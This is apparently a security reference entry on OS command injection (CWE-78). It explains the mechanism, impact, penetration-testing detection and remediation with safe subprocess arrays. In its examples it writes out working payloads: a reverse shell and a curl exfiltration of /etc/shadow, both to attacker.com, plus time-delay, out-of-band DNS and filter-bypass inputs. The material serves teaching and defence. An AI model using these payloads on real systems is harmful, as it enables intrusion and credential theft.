Description
OS command injection (CWE-78) occurs when an application passes unsanitized user-supplied data to a system shell. Unlike SQL injection, which targets a database layer, command injection reaches the underlying operating system directly, giving an attacker the same privileges as the process running the web server — often www-data, nobody, or even root in misconfigured cloud containers.
The vulnerability most commonly appears in features that wrap system utilities: ping/traceroute tools, file converters, image processors, DNS lookups, archive extractors, and CI/CD pipeline triggers. Any time a developer reaches for exec(), system(), popen(), subprocess.call(shell=True), or their equivalents, the risk surfaces immediately.
Because the injected payload runs in the context of the server process, a successful OS command injection typically leads to remote code execution (RCE), lateral movement inside the network, data exfiltration, and persistent backdoor installation — making it one of the most severe vulnerability classes covered by OWASP A03:2021.
How It Works
The attack exploits shell metacharacters (;, |, &&, ||, backticks, $()) to chain or substitute additional commands alongside the intended one.
Consider a network diagnostics feature that pings a host:
import os
def ping_host(host):
os.system(f"ping -c 4 {host}")
A legitimate request sends 8.8.8.8. An attacker sends:
8.8.8.8; id; whoami; cat /etc/passwd
The shell now executes four commands sequentially. The attacker escalates by spawning a reverse shell:
8.8.8.8; bash -i >& /dev/tcp/attacker.com/4444 0>&1
In blind command injection scenarios the server returns no output. The attacker exfiltrates data over DNS or HTTP:
8.8.8.8; curl https://attacker.com/exfil?data=$(cat /etc/shadow | base64)
Common Burp Suite and commix payloads used during penetration testing include time-based detection: ; sleep 10 — a 10-second response delay confirms blind injection without triggering WAF signature matches.
Impact
- Remote Code Execution — Full shell access on the server with the web process's privileges
- Credential Theft — Reading
/etc/passwd,/etc/shadow, application config files, and cloud metadata credentials - Lateral Movement — Using the compromised host as a pivot point to attack internal services unreachable from the internet
- Data Exfiltration — Bulk extraction of databases, source code, and customer PII
- Persistence — Installing cron jobs, SSH keys, or web shells for long-term access
- Infrastructure Destruction —
rm -rfor ransomware deployment against the host filesystem
Detection
Penetration testing for OS command injection follows a systematic injection and observation pattern:
- Identify all inputs that might invoke system commands — form fields, HTTP headers (
User-Agent,Referer,X-Forwarded-For), file upload names, API parameters, and URL path segments routed to shell utilities. - Inject time-delay payloads — append
; sleep 10,| timeout 10, and& ping -c 10 127.0.0.1 &to each input. Measure response latency with Burp Suite's Repeater to detect blind injection. - Use out-of-band (OOB) techniques — inject
; nslookup $(whoami).your-collaborator-domain.comusing Burp Collaborator or interactsh. A DNS callback confirms execution without visible output. - Test parameter encoding variations — URL-encode (
%3B), double-encode, and use hex escapes (\x3b) to bypass naive input filters. - Run commix —
commix --url "https://target.com/ping?host=INJECT"automates detection across dozens of metacharacter and encoding combinations. - Review source code — grep for
os.system,subprocess.call(..., shell=True),exec(),popen(),Runtime.exec(),system(),passthru(),shell_exec(), and backtick operators.
Remediation
Avoid shell invocation entirely. Use language-native APIs instead of shelling out. For network checks, use socket libraries; for image processing, use native SDKs; for file operations, use filesystem APIs.
Use parameterized command arrays. When shelling out is unavoidable, pass arguments as an array rather than a string so the shell is never invoked:
# Vulnerable
subprocess.call(f"ping -c 4 {host}", shell=True)
# Safe
subprocess.call(["ping", "-c", "4", host]) # shell=False by default
Allowlist inputs. If the input represents a hostname or IP address, validate it against a strict regex (^[a-zA-Z0-9.\-]+$) and reject anything that doesn't match before it reaches any execution context.
Apply principle of least privilege. Run web application processes as a dedicated low-privilege user. Disable CAP_NET_RAW, CAP_SYS_ADMIN, and similar capabilities on container workloads.
Deploy a WAF with command-injection rules. AWS WAF, ModSecurity, and Cloudflare have rulesets specifically targeting shell metacharacters. Use them as a defense-in-depth layer, not as the primary control.
